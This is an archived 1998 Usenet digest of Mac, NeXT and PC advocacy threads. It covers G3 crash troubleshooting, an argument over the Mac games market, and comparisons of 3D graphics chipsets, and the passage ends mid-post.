Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
don@misckit.com (Don Yacktman) wrote:
>Mac OS X == Rhapsody 2.0
If so, why won't it run on Intel?
Ziya
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <bOtdW#pm9GA.117@cidintnews.infosel.com.mx>
Control: cancel <bOtdW#pm9GA.117@cidintnews.infosel.com.mx>
Date: 18 Jun 1998 09:06:57 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.bOtdW#pm9GA.117@cidintnews.infosel.com.mx>
Sender: Car
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Help!!!!!!
Date: Thu, 18 Jun 1998 02:16:02 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
Their has to be something wrong, but I cant figure out what. My g3 233 is
crashing so much :( Because of problems, I did a low level format of my
hard drive today, and reinstalled macos 8 (I had had macos 8.1 on it, as
hfs plus.)
It is still crashing alot, and I can even get it to crash by doing certain
things. For instance, on www.deal-mac.com, all I have to do is click on
the down scroll bar arrow and it will jump to norton crashguard. I try to
fix it, it comes back a couple of times and ends up freezing. THe error
norton gives is a memory access error. THis is with netscape that os 8
installed. THis version of newswatcher mt has also crashed and froze on
me, as well as the finder. I dont even have many extensions loaded, since
I erased my hard drive today. I have norton utilities 3.5.3, fwb
2.5,quicktime 3, quickdraw 3d,oh and netscape defrost. and thats about
it. I didnt install disklight.
I bought a 32 meg g3 memory, but I checked ram in techtool, and it didnt
say anything was the matter. I also checked the cache, and that was ok
too.
Is techtool 1.06 preety good at detecting hardware problems? Are their
better utilities?
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Thu, 18 Jun 1998 02:16:10 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1806980216100001@sdn-ar-001casbarp297.dialsprint.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net>
In article <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net>,
ethorne@chicagonet.net (Edwin E. Thorne) wrote:
> Steve Sullivan <macghod@concentric.net> wrote:
>
> > > No, brand is not an issue because there is no loyalty in the PC world.
> > > But then why should there be? It's the same crappy computer design no
> > > matter who sells you the PC.
> >
> > Yeah, Openstep users think pc's are absolute shit. Uh huh. Sure Edwin.
> > I am crossposting your insanely brilliant observation to their newsgroup
> > Edwin, so they can hear your inspiring words and throw their pc's in the
> > trash, and promptly go to store.apple.com and order a g3 with macos 8!!
> > Come on Openstep users, you heard Edwin, throw away your pc's and buy a g3
> > running os 8!!!
>
> You must really love my name, as you can't seem to say it enough.
> Why don't you explain why you bought a G3 Mac instead of a PC, Steve?
Why do I need to explain this? I like macs, bfd. I had $1250 to spend,
and I was unhappy because I WANTED to buy a g3, but they were going for
about $1600. I was using a pc with Openstep, and it ABSOLUTELY ROCKED!!.
I was very unhappy because I wanted to get a mac, I have been using macs
for 10 years, but the fact was I could get a p2 300 fully loaded, AND it
would run openstep, AND it would be as fast as a g3 233. I was seriously
thinking about buying a p2 300 to run rhapsody and openstep on, but then
rhaptel's future got murky, AND I got the oppurtunity to buy a 1 month old
g3 233 for $1200. THAT WAS in my budget, so I bought it.
> You forgot to put your new signature line at the bottom of this post.
> Here's Steve Sullivan's new signature:
> --
> Posted on a g3 233 desktop running os 8.1.
> So many pedestrians, so little time!
Wtf does my signature have to do with anything? If you want to know why
the sig wasnt their, read the post I am about to make entitled HELP!!!!
>
> My opinions don't change with the wind. The Macintosh running the Mac
> OS is the best computing choice available.
If that is your opinion, fine. I am sure for many people a mac running
macos is the best choice. Saying pc's are crap, is really offensive tho.
Openstep is one of the most rock solid os's their is. I am sure many
openstep users arent very happy with your calling pc's crap. The
macintosh is a great machine, but the macos is simply too unstable. But
since the macos will soon have openstep as its core, things will be a
hundred times better soon.
Date: Thu, 18 Jun 1998 07:28:41 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Upgrade ASAP (was: Re: Skip NT 5.0)
Message-ID: <casper-1806980728410001@wheat-a-06.monroeville.nb.net>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com>
Skip NT 5.0??? Are you crazy? MS's web site states that their solution
to make your NT servers 100% Year 2000 compliant. is to upgrade to NT 5
when it is released late in 1999. Based on that statement alone NT 5.0 is
going to be a necessity, not an optional upgrade when it is released.
Most major corporations are taking warnings like, "Minor issues" very
seriously where the year 2000 is concerned.
--
Tim Scoff
casper@nb.net
<http://www.nb.net/~casper/>
Windows 95: Five years ago corporate software giant Microsoft spent millions of dollars and put a team of hundreds of highly specialized programmers on an extensive and highly ambitious project to find another name for the Apple Menu.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <acfNhyom9GA.120@cidintnews.infosel.com.mx>
Control: cancel <acfNhyom9GA.120@cidintnews.infosel.com.mx>
Date: 18 Jun 1998 10:23:31 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: Car
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From: dfield@tiac.net (David Field)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Thu, 18 Jun 1998 12:06:13 GMT
Organization: The Internet Access Company, Inc.
Message-ID: <35890297.302455@news.tiac.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net>
On Thu, 18 Jun 1998 02:51:17 -0600, ethorne@chicagonet.net (Edwin E.
Thorne) wrote:
>Steve Sullivan <macghod@concentric.net> wrote:
>
>> > No, brand is not an issue because there is no loyalty in the PC world.
>> > But then why should there be? It's the same crappy computer design no
>> > matter who sells you the PC.
>>
>> Yeah, Openstep users think pc's are absolute shit. Uh huh. Sure Edwin.
>> I am crossposting your insanely brilliant observation to their newsgroup
>> Edwin, so they can hear your inspiring words and throw their pc's in the
>> trash, and promptly go to store.apple.com and order a g3 with macos 8!!
>> Come on Openstep users, you heard Edwin, throw away your pc's and buy a g3
>> running os 8!!!
>
>You must really love my name, as you can't seem to say it enough.
>Why don't you explain why you bought a G3 Mac instead of a PC, Steve?
>
>You forgot to put your new signature line at the bottom of this post.
>Here's Steve Sullivan's new signature:
>--
>Posted on a g3 233 desktop running os 8.1.
>So many pedestrians, so little time!
>
>
>My opinions don't change with the wind.
You should try Maalox or Tums.
>The Macintosh running the Mac
>OS is the best computing choice available.
>
>Edwin
>------------------------------------------------
>Created on an Apple Macintosh Performa 6400/180
Date: Thu, 18 Jun 1998 08:35:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806980835270001@wil87.dol.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net> <cirby-1506981527110001@pm53-28.magicnet.net> <6m444r$rcu2@onews.collins.rockwell.com> <joe.ragosta-1706980956050001@wil66.dol.net> <6m8sna$rcu4@onews.collins.rockwell.com>
In article <6m8sna$rcu4@onews.collins.rockwell.com>,
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> In <joe.ragosta-1706980956050001@wil66.dol.net> Joe Ragosta wrote:
> > In article <6m444r$rcu2@onews.collins.rockwell.com>,
> > embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> >
> > > No competition AND NO shelf space. Retail (volume) distributors are not
> > > interested in a game that may sell to .5 percent of 4 percent of the
> market
> > > for game consumers. Games are retail products and frequently holiday
> related
> > > impulse buys.
> >
> > Of course, your numbers are ridiculous. Mac sales have recently been in
> > the range of 15% of all software sales.
> >
> FIRST: I am President of an entertainment software company. I have paid for
> market research and I have business relationships with worldwide software
> distributors.
>
> Everyone including Apple agrees that the Mac has about 4 percent market
> share. Even if I assume that all of that 4% are potential game buyers, it is
> still not a large enough market compared to other available markets to
> interest world wide distributors.
Well, gee.
If you're the presidend of a software company, you ought to be able to
realize that there's a difference between hardware and software market
shares.
While the Mac's current hardware market share is 4%, it's most recent
software market share was around 15%. Figures on
www.dol.net/~Ragosta/spa.htm or you can go right to www.spa.org.
Strike 1.
>
> Sales of MacOS 8 in the "best seller" category are not representative of
> potential entertainment title sales. Every Mac user wants/needs an OS
> upgrade. Only a small percentage of Macs have any commercial games and only
> a small percentage of those will have a particular game.
Really? Your evidence that only a small percentage of Macs have any
commercial games comes from where?
Maybe you can explain why MacSoft is selling software like crazy. Or why
the last couple of large Mac games recovered their development cost in the
first day?
Strike 2.
>
> A game must sell a _minimum_ of 60,000 copies to interest a world wide retail
> distributor. To make that sales figure in the Mac market, the game would
> have to have 10% market share or better. That is unrealistic.
Wow.
Here we have the President of a software company making up numbers. Where
did you get a 600,000 number?
There are 3 million Macs sold every year. If your game is sold to even 2%
of new Mac users, you'll have your 60,000 number. If you consider the
installed base of around 20 million Macs, you need only about 0.3% of them
to buy your software to get 60,000.
Strike 3.
>
> To reach those sales figures, a Wintel game can have 0.1% market share. (10%
> / 96%)
Of course, with the larger amount of competition, it's harder to get a
given market share in the Windows world. You haven't factored that in.
Also, support and development costs for the Mac are much lower, so the
breakeven point is lower.
>
> Without a retail channel, most commercial games are not viable. Mail order
> game sales have not historically been strong or sufficient. Games are
> frequently seasonal impulse buys.
>
> The actual numbers:
>
> 40,000,000 entertainment software units are sold into the Windows 95 market
> annually. The Windows 95 game market exceeds 12 Billion dollars annual
> sales. Sony Playstation title sales once topped 9 Billion. I don't have the
> numbers for the Mac because no research firm is interested in calculating
Try www.spa.org. Since you claim to have all the studies, you'll find that
SPA does measure this.
> them. I would guess that total entertainment sales in the Mac market are
> under 500 Million and probably under 100 Million. Like it or not, Mac is not
> a viable commercial game platform for most companies. Riven etc. can live
> there. Limited appeal Strategy/Simulation games can not.
Let's see. You claim to have all the figures (which you apparently do for
Windows), but decided to make up the figures for Macs. I guess you're
really approaching this with an open mind. It's apparently too much
trouble for you to actually get the facts before deciding that there's no
support for Games on the Mac.
You're out.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 18 Jun 1998 08:37:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806980837170001@wil87.dol.net>
References: <joe.ragosta-1706980834580001@wil36.dol.net> <B1AD5A59-48471@206.165.43.101>
In article <B1AD5A59-48471@206.165.43.101>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >A good rule of thumb is that emulation approaches 1/4 with a good
> >emulator. That's probably a rough guess of 680x0 emulation on the dynamic
> >recompilation PPC emulator. It's also not far off from the performance of
> >VPC or SoftWindows running PC stuff.
> >
>
>
>
> Console games usually call canned libraries for all graphics and
> sound-handling. If you can make the libraries native, and call 3D hardware
> from within the library, there's no reason why a G3 system couldn't
> "emulate" a Playstation faster than a Playstation.
True. But that's not really emulation.
Anyone know what the raw CPU power of a Playstation is compared to a G3?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 09:29:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mamlb$fme$1@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<6m8jd3$dbl$19@ns3.vrx.net> <Euptyu.xy@haddock.cd.chalmers.se>
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Cc: sorry@no.more.spams
In <Euptyu.xy@haddock.cd.chalmers.se> John Hornkvist claimed:
> The PPC 750 is not as good as the 604 at floating point, IIRC, but it
should
> beat the Pentium II quite comfortably. Having a normal register file for
> floating point instead of the stack of the Intel family helps a lot. Even
the
> PII can only retire one FPU instruction per cycle, and not all units are
> fully pipelined.
Thanks for the info, this is the first time I've seen anybody say this with
some conviction. If I may, how is it that the Intel consistantly reports
higher figures in benchmarks? All of their SPEC reported FP performance
numbers are comparible or better than the PPC. I always found this
surprising because I clearly remember when at a former job we got a Power
based IBM "workstation" (bar fridge) and the person setting it up noted that
this was the first "low end" machine that had FP performance better than int.
Since then a lot has changed, but now the SPECs seem to suggest that this is
no longer true, and that the Intel folks created a miracle and improved their
FP by something close to an order of magnitude in one version.
> AMD recently released a K6 chip with something like four times the floating
> point performance of the Pentium II, but to achieve that you need to write
> special code for it -- it is an extension to the architecture, and not a
> replacement for the normal FPU.
Well if you go back five years, FP was "special code" so I suppose that's
not a bad thing. Personally for 3D I'd rather have more FP than AltiVec.
Maury
From: aciesar@sgi.net.nospam (Aaron Ciesar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Help!!!!!!
Date: Thu, 18 Jun 1998 10:41:13 -0500
Organization: Stroke Institute, UPMC
Message-ID: <aciesar-1806981041130001@nsgmacppc8.neuronet.pitt.edu>
References: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
In article <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Their has to be something wrong, but I cant figure out what. My g3 233 is
> crashing so much :( Because of problems, I did a low level format of my
> hard drive today, and reinstalled macos 8 (I had had macos 8.1 on it, as
> hfs plus.)
> It is still crashing alot, and I can even get it to crash by doing certain
> things. For instance, on www.deal-mac.com, all I have to do is click on
> the down scroll bar arrow and it will jump to norton crashguard. I try to
> fix it, it comes back a couple of times and ends up freezing. THe error
> norton gives is a memory access error. THis is with netscape that os 8
> installed. THis version of newswatcher mt has also crashed and froze on
> me, as well as the finder. I dont even have many extensions loaded, since
> I erased my hard drive today. I have norton utilities 3.5.3, fwb
> 2.5,quicktime 3, quickdraw 3d,oh and netscape defrost. and thats about
> it. I didnt install disklight.
> I bought a 32 meg g3 memory, but I checked ram in techtool, and it didnt
> say anything was the matter. I also checked the cache, and that was ok
> too.
>
> Is techtool 1.06 preety good at detecting hardware problems? Are their
> better utilities?
Steve;
Here are a few quick tips that should help reduce your crashing.
1. Immediatly remove Norton CrashGuard from your system. CrashGuard
actually cause more crashed than it intercepts.
2. Check inside your Extensions Folder inside the System Folder. Look
for a file called "ObjectSupportLib". It is installed by Netscape
Navigator and it will cause crashes. Deleting this extension will not
harm any applications (ObjectSupportLib is built into MacOS 8 and 8.1).
3. You do not need Netscpae Defrost, that is an old program for use with
Netcape 2.x and MacOS versions prior to 7.6. Remove Netscape Defrost from
your Extensions Folder.
4. TechTool Pro 2.0.3 from MicroMat is a MacOS 8.1, HFS+ compatible
hardware diagnostic and software diagnotic and repair utility. If
performs many of the same tasks as Norton Utilities except and plus a ton
of hardware tests. IMHO it is much better that NU 3.5.3. The only
drawback to TechTool Pro 2.0.3 is that there is no defrag utility yet.
More info is at
<http://www.micromat.com/micromat/main.html>
5. Try using Nescape Navigator 4.0.5. It is very stable, just beware, it
will install "ObjectSupportLib" which should be immedialty deleted.
Hope this helps.
--
Aaron Ciesar
To reply, remove the .nospam from the address.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 09:48:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6manp2$fme$4@ns3.vrx.net>
References: <6m8jm5$dbl$21@ns3.vrx.net> <B1ADBB09-7DB12@206.165.43.97>
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Cc: english@primenet.com
In <B1ADBB09-7DB12@206.165.43.97> "Lawson English" claimed:
> I've never heard anyone claim that the generic case of Bresenham's is as
> fast as the special case before. Which Graphics Gems article claims this?
No, there's one that's faster than either. GG5 IIRC, right near the front.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 09:46:34 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6manlq$fme$3@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
<cirby-1506981527110001@pm53-28.magicnet.net> <6m444r$rcu2@onews.collins.rockwell.com>
<joe.ragosta-1706980956050001@wil66.dol.net> <6m8sna$rcu4@onews.collins.rockwell.com>
<joe.ragosta-1806980835270001@wil87.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-1806980835270001@wil87.dol.net> Joe Ragosta claimed:
> Really? Your evidence that only a small percentage of Macs have any
> commercial games comes from where?
Sorry Joe, but that follows is clearly false to anyone attempting to shop.
> Maybe you can explain why MacSoft is selling software like crazy. Or why
> the last couple of large Mac games recovered their development cost in the
> first day?
Because MacSoft ports games they _know_ are winners by watching them in the
PC market. All the other games that aren't huge sellers are ignored. That
means MacSoft is doing well, while the market it doing poorly. Do you
_honestly_ believe this isn't the case?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 09:50:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mansu$fme$5@ns3.vrx.net>
References: <6m8jii$dbl$20@ns3.vrx.net> <B1ADBAA5-7C381@206.165.43.97>
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Cc: english@primenet.com
In <B1ADBAA5-7C381@206.165.43.97> "Lawson English" claimed:
> I think that you misunderstood what I said:
I understood what you said, I disagree that that was anything to do with
GX's performance in the marketplace.
> Of course, they weren't planning on replacing the graphics sub-system until
> MacOS 8, but they could have.
If you mean MacOS8 as in Copeland, then they weren't even looking to
replace it then. Don't you remember the thread? That's what got you
interested in GX in the first place, prior to that (as you stated at the
time) you had not looked at the system.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 10:10:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6map2e$hpd$1@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<slrn6oghra.36q.sal@panix3.panix.com>
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In <slrn6oghra.36q.sal@panix3.panix.com> Salvatore Denaro claimed:
> I am not aware of the plus/minus to the ATI chip. How well does it compare
> to the other 2d/3d chip sets? I was under the impression that it was a
> good performer in both 2d and 3d.
Basically you can split it into three classes...
a) the Voodoo and Voodoo II, which have BY FAR the best performance
b) the RIVA128
c) everything else, none of which comes close (this includes the ATI, S3
(ugg), i740 etc)
Apple would be well off to include a Voodoo RAGE chip, but these are
expensive parts. A RIVA is an excellent second, because it has
3D-in-a-window which the normal Voodoo lacks.
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 10:23:33 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <358930F5.F2CF7C78@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com>
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NNTP-Posting-Date: 18 Jun 1998 15:28:59 GMT
Salvatore Denaro wrote:
> I think it is worth it for Apple to ship an older chip, assuming that
> the drivers are rock solid. Are there Apple drivers for the Matrox or
> Riva chipsets?
I agree that there's value to reliable drivers. Even so, whether or not
there are Matrox/nVIDIA drivers for the Macintosh is immaterial. They
can be written, and there's plenty of time to do so. Besides, if drivers
for the Mac are so far behind, it just underscores the fact that Apple
is really playing catch-up in the 3D market, and hasn't had a strategy
for a long time.
It *seems* like Conix is doing as well as anyone could expect at
providing OpenGL drivers for the Macintosh for diverse chipsets. If a
company like Conix can get as far as it's already been, doesn't it make
Apple look silly for claiming that there's too much trouble in
supporting all this PC hardware? I don't think Apple's really trying
very hard.
> For the newer chipsets? Should Apple take this big a
> risk in the first real consumer product in years?
Dunno. Innovation and risk often go hand in hand.
> There are a ton of other issues. The PRO may not be the best chip for
> the job, but it might make the most sense overall. Apple knows the
> chip, it is shipping in high enough volume, they have drivers for it.
>
> And besides, by your own logic, any PC shipping today is going to have
> obsolete 3d in 90 days anyway.
Right, which is why a game PC pretty much has to be expandable. Now, an
interesting counter-example is the console market, which is *not*
expandable. If Apple really intends to make the iMac capable of playing
console games, I will drop my arguments.
> Are those new cards going to ship in the sub 1k to sub 1.2k machines
> that the iMac will be priced against? From what I've seen, most of the
> "basic pcs" ship with older chips. I would think that PC vendors ship
> the newest at a high end first.
From what I'm seeing, a lot of the sub 1k machines are shipping with
pure sh** 3D cards: late-model ViRGE, Cirrus Logic AGP cards, and even
Trident 3D cards. So, you're right on this. However, these machines can
have their cards swapped out. Will that be the case on the iMac?
> Could Apple even ship with that chip? Are there drivers? What is the
> price when compared to the PRO?
There are never drivers unless you write them. The price would be
comparable.
> >support for higher resolutions, higher refresh rates, larger amounts of
> >video RAM,
>
> Not issues on the iMac.
Why not?
> Would anyone be willing to commit to selling to Apple when Apple is
> not known to sell to the game market? Would 3dFX be willing to write
> drivers?
3Dfx worked with Conix. Why is nobody willing to work with Apple? Is
that a stupid question?
> Would Matrox be willing to forgo sales to PC vendors? And could
> any of them ship enough chips to Apple to deal with Apple's percieved
> need and the iMac's high advance orders?
"High" is relative. The iMac's advance orders are nothing like the kinds
of orders Matrox gets from OEMs and integrators, you can be sure of
that.
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 15:26:05 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6mbbid$qk3$1@news.spacelab.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> On 17 Jun 1998 17:45:34 GMT, Charles W. Swiger <chuck@codefab.com> wrote:
>>> The basic problem with some of the older 3D chipsets is that they have
>>> bottlenecks which make them so slow that a pure software engine is going
>>> to outperform their hardware acceleration-- one aspect of the continuing
>>> improvement in CPU performance and fast FSB memory access with SDRAM.
>>
>> Hmmm... Rage 3d Pro is old? It offers 100mhz SDRAM and comes in an AGP2
>> part. According to ATI's web site, it has won awards as recently as May.
>
>Unlike in the Mac market, whose hardware (except for the CPU) seems to
>move at a snail's pace, a PC graphics chip is old if it is being
>shipped. The PC game hardware market addresses technology as "current"
>when it is approximately 3 months from integrator-level designs.
Our server didn't get Salvatore's message yet, so I'll respond to both. :-)
My comment about "older 3D chipsets" was directed at the Rage II's. The Rage
Pro is "current" in that it's used on graphics cards shipping today, but it's
close to the bottom of the heap in terms of 3D hardware acceleration.
Michael is right that graphic chipsets are at or moving towards a 6 month
delivery cycle time, and that there are always better chipsets being
released, but it's stretching to say that shipping products aren't "current".
The Voodoo II is the top-of-the-line in consumer 3D-only chipsets, and
nobody's calling it old (yet :-).
[ ... ]
>> I am not aware of the plus/minus to the ATI chip. How well does it compare
>> to the other 2d/3d chip sets? I was under the impression that it was a
>> good performer in both 2d and 3d.
>
>It was (honest!). It doesn't compete anymore. Matrox G200, Number Nine
>Revolution IV, Riva TNT, Voodoo II, S3 Savage 3D, Glaze 3D, and many
>many more...all will dramatically outperform that chipset, and all will
>almost certainly ship before August (for well under $200).
Let's be fair-- you _must_ compare products that are shipping right now,
especially when talking about a technology that's evolving as quickly as
video chipsets.
Go to <URL=www.cdw.com/search/default.asp?group=PCI>...the only one on that
list that's in the channel and in stock at a distributor is the Voodoo II.
And those sell for $200-300+....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 10:39:22 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <358934AA.C7C73E86@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <6mbbid$qk3$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Jun 1998 15:44:25 GMT
Charles W. Swiger wrote:
> >Unlike in the Mac market, whose hardware (except for the CPU) seems to
> >move at a snail's pace, a PC graphics chip is old if it is being
> >shipped. The PC game hardware market addresses technology as "current"
> >when it is approximately 3 months from integrator-level designs.
>
> Our server didn't get Salvatore's message yet, so I'll respond to both. :-)
>
> My comment about "older 3D chipsets" was directed at the Rage II's. The Rage
> Pro is "current" in that it's used on graphics cards shipping today, but it's
> close to the bottom of the heap in terms of 3D hardware acceleration.
>
> Michael is right that graphic chipsets are at or moving towards a 6 month
> delivery cycle time, and that there are always better chipsets being
> released, but it's stretching to say that shipping products aren't "current".
In all fairness, Chuck, the iMac is being discussed in a "current"
context, so it's pretty much even to use my timetable for 3D products.
> The Voodoo II is the top-of-the-line in consumer 3D-only chipsets, and
> nobody's calling it old (yet :-).
The Voodoo chipsets have *always* been the exceptions. The original
Voodoo was the leader in performance, quality, and support for almost an
entire year. This is because its performance, quality, and support were
so far ahead of everything else (like 4x) that it just took the
competition that long to catch up.
The Voodoo II is enjoying a similar (but not nearly so lengthy) lead, in
large part because of the Voodoo II's ability to scale up to two cards
with SLI. Even so, the performance of the Voodoo II is quickly being
matched by the newer chips that will ship in the next few months. What's
